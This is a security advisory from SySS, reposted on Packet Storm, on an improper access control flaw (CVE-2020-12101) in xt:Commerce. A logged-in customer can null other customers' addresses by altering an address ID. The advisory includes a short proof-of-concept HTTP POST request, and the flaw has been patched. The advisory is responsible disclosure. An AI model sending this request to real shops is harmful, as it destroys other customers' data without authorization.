

xt:Commerce 5.4.1 / 6.2.1 / 6.2.2 Improper Access Control

Authored by Fabian Krone, Markus Weiler | Site syss.de

Posted May 1, 2020

xtCommerce version 5.4.1, 6.2.1, and 6.2.2 suffer from an improper access control vulnerability. A logged-in customer can create and alter addresses. These addresses are referenced by incrementing IDs. On saving an address, an attacker could change the ID of the address to write the data to. If the ID belongs to an address which does not belong to the current logged-in user, every field in the address is set to null. An attacker could use this to null all addresses in a shop.

tags | exploit

advisories | CVE-2020-12101

SHA-256 | f54fc2ef6644a4e641224c9d4bbfedbcb95e27c9202e6200a1ccd2764b4b697 Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2020-012
Product: xt:Commerce
Manufacturer: xt:Commerce GmbH
Affected Version(s): 5.4.1, 6.2.1, 6.2.2
Tested Version(s): 5.4.1, 6.2.1
Vulnerability Type: Improper Access Control (CWE-284)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2020-02-03
Solution Date: 2020-04-17
Public Disclosure: 2020-04-30
CVE Reference: CVE-2020-12101
Author of Advisory:
Markus Weiler, SySS GmbH
Fabian Krone, SySS GmbH

Overview:

xt:Commerce is an online shop software.

The product can be described as an online shop software which is mostly used in German speaking regions. It is written in PHP and is available as both a free and paid version. xt:Commerce can also be extended via plug-ins.

Due to improper access control, a logged-in user can clear other user addresses.

Vulnerability Details:

A logged-in customer can create and alter addresses. These addresses are referenced by incrementing IDs. On saving an address, an attacker could change the ID of the address to write the data to. If the ID belongs to an address which does not belong to the current logged-in user, every field in the address is set to null. An attacker could use this to null all addresses in a shop.

Proof of Concept (PoC):

Sending the following request with an existing address ID belonging to another customer nulls the fields for the inserted address ID:

```
POST /de/customer?page_action=edit_address HTTP/1.1
[...]

action=edit_address&address_book_id=[addressId]&old_address_class=
default&address_class=default&customers_company=customers_gender=m&
customers_firstname=Penicustomers_lastname=Test&customers_street_address=
Test&customers_postcode=12345&customers_city=Test&customers_country_code=DE&
customers_phone=123456789&customers_fax=customers_mobile_phone=
-----
```

Solution:

Apply patch provided by the manufacturer.

More information:
https://helpdesk.xt-commerce.com/index.php?Knowledgebase/Article/View/1784/294/adressbuch-sicherheitspatch-17042020-fr-xtcommerce-51-bis-622

Disclosure Timeline:

2020-01-23: Found security vulnerability during security assessment
2020-02-03: Customer reported found security vulnerability to manufacturer
2020-03-31: Security advisory with further details sent to manufacturer
2020-03-31: Acknowledgement of security advisory by manufacturer
2020-04-17: Patch released by manufacturer
2020-04-30: Public disclosure of vulnerability

References:

[1] Product website for xt:Commerce
https://www.xt-commerce.com/
[2] SySS Security Advisory SYSS-2020-012
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-012.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/

Credits:

This security vulnerability was found by Markus Weiler and Fabian Krone of SySS GmbH.

E-Mail: markus.weiler@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Markus_Weiler.asc
Key ID: 0xCBE94A2D05102DB9
Key Fingerprint: B95E 4C48 50F0 389C F24B 8B7A CEE9 4A2D 0510 2DB9

E-Mail: fabian.krone@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Fabian_Krone.asc
Key ID: 0x8FDF30ABD102A0F4
Key Fingerprint: 0ADE D2AA AE27 7DDA A8F0 C051 BFD7 30AB D10E A0F4

Disclaimer:

The information provided in this security advisory is provided "as is"

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Archives

File Upload (946)	
Firewall (821)	
Info Disclosure (2,660)	
Intrusion Detection (867)	
Java (2,899)	
JavaScript (821)	
Kernel (6,291)	
Local (14,201)	
Magazine (586)	
Overflow (12,419)	
Perl (1,418)	
PHP (5,093)	
Proof of Concept (2,291)	
Protocol (3,435)	
Python (1,467)	
Remote (30,044)	
Root (3,504)	
Ruby (594)	
Scanner (1,631)	
Security Tool (7,777)	
Shell (3,103)	
Shellcode (1,204)	
Sniffer (886)	

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,600)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SysSS website.

Copyright:

Creative Commons - Attribution (By) - Version 3.0
URL: <http://creativecommons.org/licenses/by/3.0/deed.en>

-----BEGIN PGP SIGNATURE-----

iQI=BAEBCgAdFIECt7Sqqnfdqo8MBRv98wq9EOoPQFAl6m74AACgKQv98wq9EO
oPTAeQ/+PMuBboEsS+C0tYcWn2haTb77TQmHY3ex/nLmLKFLxJ5W+2rhvH9/oGtY
CpSC0tqPy5qYt3/z/1V5iik5Te8n2HhaR+ACFkWVuLVLTkdior/A4XVdXysfmC0
5y2P1WexLjv1hOuEXHROARVqI0ARaEneUfTLasKxqgM1a6cv3NNIOTz+IdgW5L
RFRaGwysVmo/lpcYHpyj8de17waNVx7YNgVQphPdqxSxoN1OoQn95YAu4UD094Xx
2Wdcyor2grutdIXhAkkq5qKF16VrFhuMS98y/s3Pyx0UEqNDB/sfgJ3qPtutnG/s
asc2q*79i1i121Ura/cvFIEQ04c0vm9H74I2J21HOVEG17OAsZ17+cfvaumLhICkt
fvb8RyCm40a9jfg7zypaB3rvFONGWB+eF5Xj/04rb0psIRguogehkxzc2C0n5cL
oTzGKDyGnLepm00eaD0awq3agO7jkkUkoKy+GSeayFa92RnWjJlPb6327/0kTYrV
XjMmmWzIfc3T71RsdggfjC7ssnxkP1R+vmewege8UIH1h4Uku1iYhm1YeINDP
ZVuu3u0vKCRuEmpgXHoabBuXb9dEOJTXX+dvO/LuWL6A1rbpm2SYUNRmTAH5YFFBQ
xkcCvjx8x2Qd1HRja7M6L8xJbxL2qaWVFTPy3gaYXFnGCj6h4Ls=
=gSBL

-----END PGP SIGNATURE-----

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (876)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed